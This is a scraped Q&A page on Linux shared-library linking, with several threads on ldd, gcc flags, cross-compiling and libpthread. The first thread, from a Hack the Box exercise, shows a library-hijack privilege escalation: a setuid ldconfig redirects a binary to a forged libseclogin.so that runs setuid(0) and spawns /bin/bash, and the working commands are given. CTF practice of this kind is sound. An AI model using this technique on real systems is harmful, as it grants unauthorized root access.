Manually linking C library for executable - linux

I am currently working on a challenge on Hack the Box and am trying to get an existing executable on an exercise machine to run by library in place of one that is missing from the 'vulnerable' script.
The missing library is libseclogin.so. I have created a new file in /dev/shm and from there I have tried to use ldconfig to manually link the new library to drop me into a shell when myexec is run. ldconfig has the sticky bit set.
Here are the commands I have run. At the very end you can see that when I run ldd again to check the library has been relinked to /dev/shm/libseclogin.so that there has been no change.
Am I missing something out from this process?
genevieve#dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve#dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve#dab:/dev/shm$ nano libseclogin.c
genevieve#dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve#dab:/dev/shm$ chmod +x libseclogin.so
genevieve#dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve#dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve#dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve#dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve#dab:/dev/shm$
This is the basic C scipt I am using to drop into the shell.
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
Compile command to create shared library.
gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl

Issue was primarily down to my usage of ldconfig.
Once I ran it without explicitly specifying the so file, this seemed to correct the issues.
Correct command...
ldconfig /dev/shm
Rather than...
ldconfig /dev/shm/libseclogin.c
Then when I ran ldd myexec I got the correct output.
genevieve#dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)

Related

OSError: someObject.o: cannot open shared object file: No such file or directory

I'm failing to load a shared object library with python. I've tried setting the LD_LIBRARY_PATH to where the someObject.o is located and that works when I am using non-sudo command to run the python script but when I use sudo I run into a linking error.
OSError: bbumintflib.o: cannot open shared object file: No such file or directory
Does anyone know how to link a .o file to the .so file?
using ldd, I know the .so cannot find the .o file.
>>>ldd someSharedObject.so
linux-vdso.so.1 (0x00007ffca69af000)
someObject.o => not found
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c96b8000)
/lib64/ld-linux-x86-64.so.2 (0x00007f53c9a57000)
Edit:
This is how I am building the object and sharedObject files
gcc -I ../include -I../../module1/include -I ../../module2/include --shared -fPIC someCFile.c -o someObject.o plat_linux.c
gcc someObject.o -shared -o someSharedObject.so
This is your problem:
gcc -I ../include -I../../module1/include -I ../../module2/include --shared -fPIC someCFile.c -o someObject.o plat_linux.c
gcc someObject.o -shared -o someSharedObject.so
The first command produces a shared library with odd name someObject.o.
The second command links a new shared library named someSharedObject.so, which depends on someObject.o.
To fix this, do this:
gcc -I ... --shared -fPIC someCFile.c plat_linux.c -o someSharedObject.so

How to build C program with b2 without libstdc++ dependency?

I have a simple C program and such jamroot.jam:
exe hello : hello.c ;
I can run b2 -d+2:
........
gcc.compile.c bin/gcc-8.3.0/debug/hello.o
"g++" -x c -fPIC -O0 -fno-inline -Wall -g -c -o "bin/gcc-8.3.0/debug/hello.o" "hello.c"
gcc.link bin/gcc-8.3.0/debug/hello
"g++" -o "bin/gcc-8.3.0/debug/hello" -Wl,--start-group "bin/gcc-8.3.0/debug/hello.o" -Wl,-Bstatic -Wl,-Bdynamic -Wl,--end-group -fPIC -g
........
After this I receive hello binary which depends on libstdc++:
$ ldd bin/gcc-8.3.0/debug/hello
linux-vdso.so.1 (0x00007fffdaf5b000)
libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007ff6d8176000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007ff6d7ff3000)
libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007ff6d7fd9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff6d7e18000)
/lib64/ld-linux-x86-64.so.2 (0x00007ff6d8329000)
If I build it with gcc I get much less dependencies:
$ gcc hello.c -o hello
$ ldd ./hello
linux-vdso.so.1 (0x00007ffc661cc000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fca20243000)
/lib64/ld-linux-x86-64.so.2 (0x00007fca20433000)
Can I do this with b2?
I have a project which includes C and C++ programs and I would not like to have different build system for C binaries.
Try using g++, it works for c++ and c it should work for compiling, when you're done compiling run ./filename

ldd on the binary not showing my shared library

I link a shared library on the command line while building an executable. Running ldd on that executable is not showing the linked shared library.
After looking at some of the output of the linker, I have even tried adding the -Wl,--no-as-needed option and that didn't help either.
foo.c:
#include <stdio.h>
void foo () {
printf ("Hello world\n");
}
main.c:
#include <stdio.h>
int main () {
printf ("In main \n");
foo ();
}
Here's the command I used to compile and link:
$ gcc -Wl,--no-as-needed main.c -o main -L./ -lfoo
/bin/ld: cannot find -lfoo
collect2: error: ld returned 1 exit status
$ gcc -c foo.c -shared -Wl,-soname,libfoo.so -o libfoo.so
$ ls -l libfoo.so
-rw-r--r-- 1 apple eng 1488 Jun 4 04:44 libfoo.so
$ gcc -Wl,--no-as-needed main.c -o main -L./ -lfoo
$ ldd main
linux-vdso.so.1 => (0x00007fffbdd6c000)
libc.so.6 => /lib64/libc.so.6 (0x00007f6367e23000)
/lib64/ld-linux-x86-64.so.2 (0x00005556e268a000)
libfoo.so does not show up above.
$ objdump -x main | grep NEEDED
NEEDED libc.so.6
Why isn't libfoo.so showing up as NEEDED?
By using the gcc option -c you're telling it to create only object from foo.c, so the only product you're getting from this gcc command is an object file. The fact that its suffix is .so is only because you forced it using -o option. If you run this command without -o you'd see that the output is just foo.o - an object file.
If you omit the -c from the gcc command you'd get the shared object you wanted.
Running file on the output file shows the difference (note that I'm not setting the output name using -o and letting gcc use its default names):
With -c:
> gcc -c foo.c -shared
> file foo.o
foo.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), not stripped
Without -c:
> gcc foo.c -shared
> file a.out
a.out: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a63581bfc45f845c501ffb6635, not stripped
^^^
|||
This command does not generate a shared library:
gcc -c foo.c -shared -Wl,-soname,libfoo.so -o libfoo.so
It generates an object file libfoo.so that is later statically linked with your code. Proof: remove the lib file, the program will still run.
Solution:
Compile the object file separately, then convert it into a shared library. You will have to tell the loader where to search for the shared libraries by setting LD_LIBRARY_PATH:
gcc -c foo.c
gcc foo.o -shared -o libfoo.so
gcc main.c -o main -L./ -lfoo
export LD_LIBRARY_PATH=`pwd`
ldd ./main
# linux-vdso.so.1 (0x00007ffe0f7cb000)
# libfoo.so => /home/---/tmp/libfoo.so (0x00007f9bab6ec000)
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f9bab2fb000)
# /lib64/ld-linux-x86-64.so.2 (0x00007f9babaf0000)

Cross Compilation error can't load library 'libc.so.6'

I am trying to implement a dynamic library(liblog.so) which is going to run on i386 controller.
when i compile that in Host Machine (Ubuntu Machine) it compiles and generates the .so file successfully.
liblog.so is the the file which is put under /usr/lib in target machine.
merom#arunkumar:~/freedcs/freedcs-code1/Controller/src/Controller$ ldd log_client
linux-gate.so.1 => (0xb7707000)
libnative.so.3 => not found
libxenomai.so.0 => not found
libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb76cd000)
librt.so.0 => not found
liblog.so => /usr/lib/liblog.so (0xb76c9000)
libcrypto.so.1.0.0 => /lib/i386-linux-gnu/libcrypto.so.1.0.0 (0xb751e000)
libssl.so.1.0.0 => /lib/i386-linux-gnu/libssl.so.1.0.0 (0xb74c7000)
libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xb74a9000)
libc.so.0 => not found
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb72f5000)
/lib/ld-uClibc.so.0 => /lib/ld-linux.so.2 (0xb7708000)
libdl.so.2 => /lib/i386-linux-gnu/libdl.so.2 (0xb72f0000)
libz.so.1 => /lib/i386-linux-gnu/libz.so.1 (0xb72d7000)
merom#arunkumar:~/freedcs/freedcs-code1/Controller/src/Controller$
output at host machine.
Output at target machine:
libnative.so.3 => /usr/lib/libnative.so.3 (0xb78d9000)
libxenomai.so.0 => /usr/lib/libxenomai.so.0 (0xb78d4000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb78c1000)
librt.so.0 => /lib/librt.so.0 (0xb78bd000)
liblog.so => /lib/liblog.so (0xb78b9000)
libcrypto.so.1.0.0 => /usr/lib/libcrypto.so.1.0.0 (0xb7793000)
libssl.so.1.0.0 => /usr/lib/libssl.so.1.0.0 (0xb7752000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb7748000)
libc.so.0 => /lib/libc.so.0 (0xb770a000)
libdl.so.0 => /lib/libdl.so.0 (0xb7706000)
libc.so.6 => not found
ld-uClibc.so.0 => /lib/ld-uClibc.so.0 (0xb78e2000)
when i send it to Target machine(Currently in VMware), when i run the .\log_client it shows can't load library 'libc.so.6'
Yes i compiled log_client with linked with liblog.so
Compilation Commands
Generating liblog.so
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -c log.c -o liblog.o
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -L../../../../build/i386/buildroot-2011.11/output/target/usr/lib -lxenomai -lpthread -lrt -shared -o liblog.so liblog.o -rdynamic -lcrypto -lssl
Generating log_client
cp liblog.so ../../../../build/i386/buildroot-2011.11/output/target/usr/lib
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -c log_client.c
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -L../../../../build/i386/buildroot-2011.11/output/target/usr/lib -lxenomai -lpthread -lrt -o log_client log_client.o -llog -rdynamic -lcrypto -lssl
I am using same procedure for an other code that is working, though that code doesn't use this customized library(liblog.so), there were warnings too but i didn't posted here.
Please help me, i am frustrated!!
------------Edited----------
file Output
$ file liblog.so
liblog.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped
$ file log_client
log_client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), not stripped
------------Update----------
Some one suggested me use --sysroot while compiling the files, but even that didn't helped me. Same error coming out. :(
I had put sysroot path to target machine's GCC's sysroot path
Generating liblog.so
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -c log.c -o liblog.o --sysroot=/home/merom/freedcs/build/i386/buildroot-2011.11/output/host/usr/i686-unknown-linux-uclibc/sysroot/
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -L../../../../build/i386/buildroot-2011.11/output/target/usr/lib -lxenomai -lpthread -lrt -shared -o liblog.so liblog.o -rdynamic -lcrypto -lssl --sysroot=/home/merom/freedcs/build/i386/buildroot-2011.11/output/host/usr/i686-unknown-linux-uclibc/sysroot/
Generating log_client
cp liblog.so ../../../../build/i386/buildroot-2011.11/output/target/usr/lib
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -c log_client.c --sysroot=/home/merom/freedcs/build/i386/buildroot-2011.11/output/host/usr/i686-unknown-linux-uclibc/sysroot/
../../../../build/i386/buildroot-2011.11/output/host/usr/bin/i686-unknown-linux-uclibc-gcc -Wcast-align -g -W -Wall -L../../../../build/i386/buildroot-2011.11/output/target/usr/lib -lxenomai -lpthread -lrt -o log_client log_client.o -llog -rdynamic -lcrypto -lssl --sysroot=/home/merom/freedcs/build/i386/buildroot-2011.11/output/host/usr/i686-unknown-linux-uclibc/sysroot/
Update
After Running objdump This was the output.
objdump -x log_client | grep NEEDED
NEEDED libnative.so.3
NEEDED libxenomai.so.0
NEEDED libpthread.so.0
NEEDED librt.so.0
NEEDED liblog.so
NEEDED libcrypto.so.1.0.0
NEEDED libssl.so.1.0.0
NEEDED libgcc_s.so.1
NEEDED libc.so.0
objdump -x liblog.so | grep NEEDED
NEEDED libnative.so.3
NEEDED libxenomai.so.0
NEEDED libpthread.so.0
NEEDED librt.so.0
NEEDED libcrypto.so.1.0.0
NEEDED libssl.so.1.0.0
NEEDED libgcc_s.so.1
NEEDED libc.so.0
I had the same problem with an executable. Every tool I tried - ldd, objdump, readelf, strings - indicated depencency with libc.so.0, rather than .6. It turned out that one of its dependent libraries was depending on .6. So I went and fixed that and everything is working now.
The library had the wrong version because it was compiled using the wrong cross-compiler (I used it by mistake), so I recompiled and reuploaded it.

Does linking an `-lpthread` changes application behaviour? (Linux, Glibc)

I have a question: if we have an application, which uses no threads, we can link it in two ways:
1) Link as usual, without -lpthread and -ldl
2) Add to the link two libraries: libpthread and libdl.
E.g.
$ cat a.c
int main(){printf("Hehe");}
$ gcc a.c -w -o a
$ gcc a.c -w -o a1 -ldl -lpthread
By default, both libs are dynamically linked:
$ ldd a
linux-gate.so.1
libc.so.6
/lib/ld-linux.so.2
$ ldd a1
linux-gate.so.1
libdl.so.2
libpthread.so.0
libc.so.6
/lib/ld-linux.so.2
How much difference will be there between version a and version a1 ? What will be working in different way inside application itself and int glibc ? Will linking of pthreads change something inside from thread-unsafe to thread-safe algorithm?
E.g.
$ strace ./a 2>&1 |wc -l
73
$ strace ./a1 2>&1 |wc -l
103
In a1 trace, two additional libs are loaded, some more mprotects are called, and added section of:
set_tid_address; set_robust_list; rt_sigaction x 2; rt_sigprocmask; getrlimit; uname
glibc itself contains stub code for many pthread functions. These glibc pthread functions do nothing. However, when the program is linked with libpthread then those stubs are replaced with the real pthread locking functions.
This is intended for use in libraries that need to be thread safe but do not use threads themselves. These libraries can use pthread locks, but those locks will not actually happen until a program or library that links to libpthread is loaded.

Resources